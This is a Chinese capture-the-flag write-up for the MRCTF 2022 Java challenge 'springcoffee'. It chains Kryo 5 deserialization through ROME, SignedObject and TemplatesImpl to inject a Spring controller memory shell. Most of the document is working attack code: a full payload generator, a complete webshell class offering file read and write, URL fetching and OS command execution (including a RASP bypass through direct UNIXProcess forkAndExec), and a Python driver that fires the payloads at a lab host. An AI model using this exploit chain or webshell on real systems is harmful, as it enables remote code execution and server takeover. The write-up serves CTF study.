前言 高版本kyro反序列化,二次反序列化绕transit属性,controller内存马注入,rasp绕过(forkAndExec绕过)
这题考的东西很多,而且很复杂,当时复现花了两天才搞好,不过也是学到了很多东西
分析 组件自己看吧,很容易确定是kyro入口。依赖里也用rometools,那么就可以考虑ROME链,也就是toString–>getter。rasp是注入内存马读文件后才发现的,后面在分析
高版本kryo绕过 这里kyro是5.3.0版本的,之前在ciscn23里考过一道seaclouds,那里面的kryo是4.x.x版本的。这两个版本有一些不同,下面分析。
kyro跟hessian一样,都是基于field机制的。一般入口点可以是HashMap#hashcode,因为里面反序列化HashMap类型数据的时候会调用put还原,而put的时候一定会用hashcode检查键是否重复。另外,也可以从equals入手,那就可以走HotSwap那条,最终也是可以触发toString
不过kryo4直接序列化就行,kryo5里面却加了一些限制。下面参照Y4的文章2022MRCTF-Java部分 ,开始分析
首先这里链子是比较简单的,要注意的就是需要有二次反序列化,因为kyro不能序列化transit的属性,而TemplatesImpl的_tfactory就是transit属性。
大致链子如下:
1 2 3 4 5 6 7 8 9 10 HashMap#putVal#equals HotSwappableTargetSource#equals XString#equals ToStringBean#toString SignedObject#getObject HashMap#readObject HashMap#hash EqualsBean#hashCode ToStringBean#toString TemplateImpl#getter
当然,前半段用ROME链触发也可以。
先不放阶段性EXP了,强烈建议先去后面看完整的,把讲到的部分看了就行,后面也是这样。这里如果构造好EXP去测试的话是会报错的:
说是HashMap的Class没注册。这里我们回去看一下Controller里的逻辑是怎么写的:
两个路由,第一个很明显是反序列化的,那第二个是用来干什么的呢?简单分析可以知道,它是用来调用kryo里的任意setter方法的。解决报错的关键就在于调用什么setter方法,传入什么参数。我们知道,kryo反序列化的关键就是调用com.esotericsoftware.kryo.serializers.MapSerializer进行反序列化。
知道上面这些后,我们再去定位到报错的位置:
报错在这里,那我们调整这个值为false是不是就可以了呢?正好又有对应的set方法,去尝试一下,发现确实可以。此时它会执行com.esotericsoftware.kryo.util.DefaultClassResolver#registerImplicit=>com.esotericsoftware.kryo.Kryo#getDefaultSerializer最终获取到我们需要的com.esotericsoftware.kryo.serializers.MapSerializer
不过出现了新的报错:意思是反序列化的类需要有无参构造
这个报错怎么解决我不太能讲清楚,这里直接给
1 "InstantiatorStrategy" : "org.objenesis.strategy.StdInstantiatorStrategy"
可以去看Y4的文章,写的比较清楚
最终的payload:
1 2 3 4 "polish" : True, "References" : True, "RegistrationRequired" : False, "InstantiatorStrategy" : "org.objenesis.strategy.StdInstantiatorStrategy"
这里还多出来一个References,这个很多文章里没写,但是必须要加,我从官方EXP里面看到的。但是具体原因不知道,如果有人知道了可以给我留言。
kryo反序列化到此为止,EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 import com.esotericsoftware.kryo.Kryo;import com.esotericsoftware.kryo.io.Input;import com.esotericsoftware.kryo.io.Output;import com.rometools.rome.feed.impl.EqualsBean;import com.rometools.rome.feed.impl.ObjectBean;import com.rometools.rome.feed.impl.ToStringBean;import com.sun.org.apache.xalan.internal.xsltc.compiler.Template;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xpath.internal.objects.XString;import fun.mrctf.springcoffee.model.ExtraFlavor;import javassist.ClassPool;import org.json.JSONObject;import org.springframework.aop.target.HotSwappableTargetSource;import tools.Evil;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.FileOutputStream;import java.io.IOException;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;import java.security.*;import java.util.Base64;import java.util.HashMap;public class KryoSer { protected Kryo kryo = new Kryo (); public String ser (String raw) throws Exception { JSONObject serializeConfig = new JSONObject (raw); if (serializeConfig.has("polish" ) && serializeConfig.getBoolean("polish" )) { this .kryo = new Kryo (); for (Method setMethod : this .kryo.getClass().getDeclaredMethods()) { if (setMethod.getName().startsWith("set" )) { try { Object p1 = serializeConfig.get(setMethod.getName().substring(3 )); if (!setMethod.getParameterTypes()[0 ].isPrimitive()) { try { setMethod.invoke(this .kryo, Class.forName((String) p1).newInstance()); } catch (Exception e) { e.printStackTrace(); } } else { setMethod.invoke(this .kryo, p1); } } catch (Exception e2) { } } } } byte [] bytecode = ClassPool.getDefault().get(Evil.class.getName()).toBytecode(); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_class" , null ); setFieldValue(templates, "_name" , "1diOt9" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); byte [] bytes = Files.readAllBytes(Paths.get("D:\\BaiduSyncdisk\\ctf-challenges\\java-challenges\\MRCTF\\MRCTF2022\\springcoffee\\target\\classes\\memshell\\SpringBootController_Higher2_6_0.class" )); setFieldValue(templates, "_bytecodes" , new byte [][] {bytes}); ToStringBean toStringBean1 = new ToStringBean (Templates.class, templates); EqualsBean equalsBean1 = new EqualsBean (String.class, "any" ); HashMap<Object, Object> hashMap1 = new HashMap <>(); hashMap1.put(equalsBean1, "any" ); setFieldValue(equalsBean1, "obj" , toStringBean1); setFieldValue(equalsBean1, "beanClass" , ToStringBean.class); KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA" ); keyPairGenerator.initialize(1024 ); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA" ); SignedObject signedObject = new SignedObject (hashMap1,privateKey,signingEngine); ToStringBean toStringBean2 = new ToStringBean (SignedObject.class, signedObject); HotSwappableTargetSource h1 = new HotSwappableTargetSource (toStringBean2); HotSwappableTargetSource h2 = new HotSwappableTargetSource (new HashMap <>()); HashMap<Object, Object> hashMap2 = new HashMap <>(); hashMap2.put(h1, "test1" ); hashMap2.put(h2, "test2" ); setFieldValue(h2, "target" , new XString ("test" )); setFieldValue(toStringBean2, "obj" , signedObject); setFieldValue(toStringBean2, "beanClass" , SignedObject.class); ByteArrayOutputStream baos = new ByteArrayOutputStream (); Output output = new Output (baos); this .kryo.writeClassAndObject(output, hashMap2); output.close(); return new String (Base64.getEncoder().encode(baos.toByteArray())); } public void deser (String s) { ByteArrayInputStream bais = new ByteArrayInputStream (Base64.getDecoder().decode(s)); Input input = new Input (bais); this .kryo.readClassAndObject(input); } public static void main (String[] args) throws Exception { KryoSer kryoSer = new KryoSer (); String raw = "{\"polish\":true,\"References\": True,\"RegistrationRequired\":false,\"InstantiatorStrategy\": \"org.objenesis.strategy.StdInstantiatorStrategy\"}" ; String ser = kryoSer.ser(raw); new FileOutputStream ("D:\\tmp\\payload.txt" ).write(ser.getBytes()); } public static void setFieldValue (Object obj, String fieldName, Object value) throws IllegalAccessException { Class<?> aClass = obj.getClass(); Field field = null ; while (aClass != null ) { try { field = aClass.getDeclaredField(fieldName); break ; } catch (NoSuchFieldException e) { aClass = aClass.getSuperclass(); } } field.setAccessible(true ); field.set(obj, value); } }
内存马编写 第一次自己写内存马用,当时也是出了很多问题,不过后来也是跟着文章搞好了
LandGrey’s Blog
Spring内存马学习 | Bmth’s blog
跟着这两篇文章写好了,主要是SpringBoot以2.6.0为分界,Controller的注册方法有点不一样。成功以后自己再去加各种功能就很方便了,这里展示的是最完整的内存马:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 package memshell;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.tomcat.util.http.fileupload.IOUtils;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import sun.misc.Unsafe;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.*;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.net.URL;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;public class SpringBootController_Higher2_6_0 extends AbstractTranslet { static { try { System.out.println("start static SpringBootController_Higher2_6_0" ); WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 ); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field configField = mappingHandlerMapping.getClass().getDeclaredField("config" ); configField.setAccessible(true ); RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping); Method declaredMethod = Class.forName("memshell.SpringBootController_Higher2_6_0" ).getDeclaredMethod("login" , HttpServletRequest.class, HttpServletResponse.class); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition (); RequestMappingInfo info = RequestMappingInfo.paths("/shell" ).options(config).build(); mappingHandlerMapping.registerMapping(info, Class.forName("memshell.SpringBootController_Higher2_6_0" ).newInstance(), declaredMethod); System.out.println("SpringBootController_Higher2_6_0 is been registered" ); } catch (ClassNotFoundException | NoSuchMethodException | InstantiationException | IllegalAccessException | NoSuchFieldException e) { throw new RuntimeException (e); } } public SpringBootController_Higher2_6_0 () { System.out.println("SpringBootController_Higher2_6_0 no args constructor is been used" ); } public void login (HttpServletRequest request, HttpServletResponse response) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException, NoSuchMethodException, InvocationTargetException { try { PrintWriter writer = response.getWriter(); String writePath = request.getParameter("writePath" ); String writeBytes = request.getParameter("writeBase64" ); if (writePath != null && writeBytes != null ) { byte [] decode = Base64.getDecoder().decode(writeBytes); new FileOutputStream (writePath).write(decode); } String filePath = request.getParameter("file" ); if (filePath != null ) { byte [] bytes = Files.readAllBytes(Paths.get(filePath)); String s = Base64.getEncoder().encodeToString(bytes); writer.write(s); } String urlContent = "" ; String read = request.getParameter("read" ); if (read != null ) { final URL url = new URL (read); final BufferedReader in = new BufferedReader (new InputStreamReader (url.openStream())); String inputLine = "" ; while ((inputLine = in.readLine()) != null ) { urlContent = urlContent + inputLine + "\n" ; } in.close(); writer.println(urlContent); } String arg0 = request.getParameter("code" ); if (arg0 != null ) { String o = "" ; java.lang.ProcessBuilder p; if (System.getProperty("os.name" ).toLowerCase().contains("win" )){ p = new java .lang.ProcessBuilder(new String []{"cmd.exe" , "/c" , arg0}); }else { p = new java .lang.ProcessBuilder(new String []{"/bin/sh" , "-c" , arg0}); } java.util.Scanner c = new java .util.Scanner(p.start().getInputStream()).useDelimiter("\\A" ); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); } String[] strs = request.getParameterValues("cmd" ); if (strs != null ) { Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe" ); theUnsafeField.setAccessible(true ); Unsafe unsafe = (Unsafe) theUnsafeField.get(null ); Class processClass = null ; try { processClass = Class.forName("java.lang.UNIXProcess" ); } catch (ClassNotFoundException e) { processClass = Class.forName("java.lang.ProcessImpl" ); } Object processObject = unsafe.allocateInstance(processClass); byte [][] args = new byte [strs.length - 1 ][]; int size = args.length; for (int i = 0 ; i < args.length; i++) { args[i] = strs[i + 1 ].getBytes(); size += args[i].length; } byte [] argBlock = new byte [size]; int i = 0 ; for (byte [] arg : args) { System.arraycopy(arg, 0 , argBlock, i, arg.length); i += arg.length + 1 ; } int [] envc = new int [1 ]; int [] std_fds = new int []{-1 , -1 , -1 }; Field launchMechanismField = processClass.getDeclaredField("launchMechanism" ); Field helperpathField = processClass.getDeclaredField("helperpath" ); launchMechanismField.setAccessible(true ); helperpathField.setAccessible(true ); Object launchMechanismObject = launchMechanismField.get(processObject); byte [] helperpathObject = (byte []) helperpathField.get(processObject); int ordinal = (int ) launchMechanismObject.getClass().getMethod("ordinal" ).invoke(launchMechanismObject); Method forkMethod = processClass.getDeclaredMethod("forkAndExec" , new Class []{ int .class, byte [].class, byte [].class, byte [].class, int .class, byte [].class, int .class, byte [].class, int [].class, boolean .class }); forkMethod.setAccessible(true ); int pid = (int ) forkMethod.invoke(processObject, new Object []{ ordinal + 1 , helperpathObject, toCString(strs[0 ]), argBlock, args.length, null , envc[0 ], null , std_fds, false }); Method initStreamsMethod = processClass.getDeclaredMethod("initStreams" , int [].class); initStreamsMethod.setAccessible(true ); initStreamsMethod.invoke(processObject, std_fds); Method getInputStreamMethod = processClass.getMethod("getInputStream" ); getInputStreamMethod.setAccessible(true ); InputStream in = (InputStream) getInputStreamMethod.invoke(processObject); ByteArrayOutputStream baos = new ByteArrayOutputStream (); int a = 0 ; byte [] b = new byte [1024 ]; while ((a = in.read(b)) != -1 ) { baos.write(b, 0 , a); } writer.write(baos.toString()); } } catch (IOException e) { throw new RuntimeException (e); } catch (NoSuchFieldException e) { throw new RuntimeException (e); } catch (SecurityException e) { throw new RuntimeException (e); } catch (IllegalArgumentException e) { throw new RuntimeException (e); } catch (IllegalAccessException e) { throw new RuntimeException (e); } catch (ClassNotFoundException e) { throw new RuntimeException (e); } catch (InstantiationException e) { throw new RuntimeException (e); } catch (InvocationTargetException e) { throw new RuntimeException (e); } catch (NoSuchMethodException e) { throw new RuntimeException (e); } } public static byte [] toCString(String s) { if (s == null ) return null ; byte [] bytes = s.getBytes(); byte [] result = new byte [bytes.length + 1 ]; System.arraycopy(bytes, 0 , result, 0 , bytes.length); result[result.length - 1 ] = (byte ) 0 ; return result; } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
一开始其实注入的就是一个最普通的内存马,后来发现没法执行命令。于是增加了目录和文件读取的功能,通过read=file:///这样的伪协议形式读。然后会发现虽然能知道flag就在根目录下,但是由于权限原因没法直接读取(看dockerfile知道的)。查看app目录,发现有jrasp.jar,再给内存马加功能,把rasp下载下来(读base64编码,python脚本再转换)。
rasp没学的话可以参考文末的几篇文章。这个rasp禁止了ProcessImpl,但是没禁止UnixProcess,所以我们可以直接通过UnixProcess去执行命令。但是我内存马是直接用forkAndExec去执行了,更底层一点。虽然作者的本意是让我们写JNI文件去命令执行的。
这样注入后就可以执行命令了,通过readFlag去读。但是这个readFlag是一个算术题,也是需要把文件下载,然后写对应的C语言程序与readFlag交互,最后把写好的C语言程序上传并执行。这个计算题的步骤我当时没复现,感觉有点麻烦。
最后给一下参考的python脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 import base64import requestsfrom urllib.parse import quotedef upload_jar_file (url, file_path, headers=None ): """ 上传 .jar 文件到指定 URL :param url: 目标服务器的 URL :param file_path: 要上传的 .jar 文件路径 :param headers: 可选的请求头(如身份验证信息) :return: 返回服务器响应 """ try : with open (file_path, 'rb' ) as file: files = {'file' : (file_path, file, 'application/java-archive' )} response = requests.post(url, files=files, headers=headers) return response except FileNotFoundError: print (f"Error: File not found at {file_path} " ) return None except Exception as e: print (f"Error: {e} " ) return None def post (url, data=None , json=None , headers=None ): response = requests.post(url, data=data, json=json, headers=headers) print (response.text) def get (url ): response = requests.get(url) print (response.text) return response.text def readTXT (file_path ): with open (file_path, 'r' ) as file: return file.read() def readBin (file_path ): with open (file_path, 'rb' ) as file: return file.read() if __name__ == '__main__' : headers = { "cmd" : "whoami" , "Accept" : "text/html;charset=fengfff" , } payload = readTXT("D://tmp//payload.txt" ) data = { "message" : f"{payload} " } url = "http://192.168.21.132:8007/coffee/demo" json_raw = { "polish" : True , "References" : True , "RegistrationRequired" : False , "InstantiatorStrategy" : "org.objenesis.strategy.StdInstantiatorStrategy" } coffee_json = { "extraFlavor" : f"{payload} " , "espresso" : 0.1 } url2 = "http://192.168.21.132:8007/coffee/order" bin_base64 = get("http://192.168.21.132:8007/shell?file=/app/jrasp.jar" ) output_path = "D://tmp//jrasp.jar" with open (output_path, 'wb' ) as file: decoded_bin = base64.b64decode(bin_base64) file.write(decoded_bin) flag = readBin("D://flag" ) bwriteBase64 = base64.b64encode(flag) writeBase64 = bwriteBase64.decode("utf-8" ) writePath = "/fllag" get(f"http://192.168.21.132:8007/shell?writePath={writePath} &writeBase64={writeBase64} " )
总结 这道题对我来说主要就是实践了一下内存马和rasp绕过,另外还有高版本kryo的绕过。题目很难,大佬们是真厉害
参考 wp:
2022MRCTF-Java部分
MRCTF 2022 By W&M - W&M Team
RASP绕过初探 | Bmth’s blog
EkiXu/My-CTF-Challenge
kryo:
[浅析Dubbo Kryo/FST反序列化漏洞(CVE-2021-25641) Mi1k7ea ]
内存马:
Spring内存马学习 | Bmth’s blog
LandGrey’s Blog
JavaAgent与Rasp:
浅谈 Java Agent 内存马 – 天下大木头
Java Agent 内存马学习 | Drunkbaby’s Blog
[本地命令执行漏洞 · 攻击Java Web应用-Java Web安全]
文章 - JAVA安全之命令执行研究分析 - 先知社区
[JNI攻击 · 攻击Java Web应用-Java Web安全]
Java 反序列化绕过 RASP - DumKiy’s blog
[java Rasp 的简单实现与绕过 - Ko1sh1’s Blog](https://ko1sh1.github.io/2024/03/25/blog_java Rasp的实现与绕过/#JNI-绕过RASP-执行命令)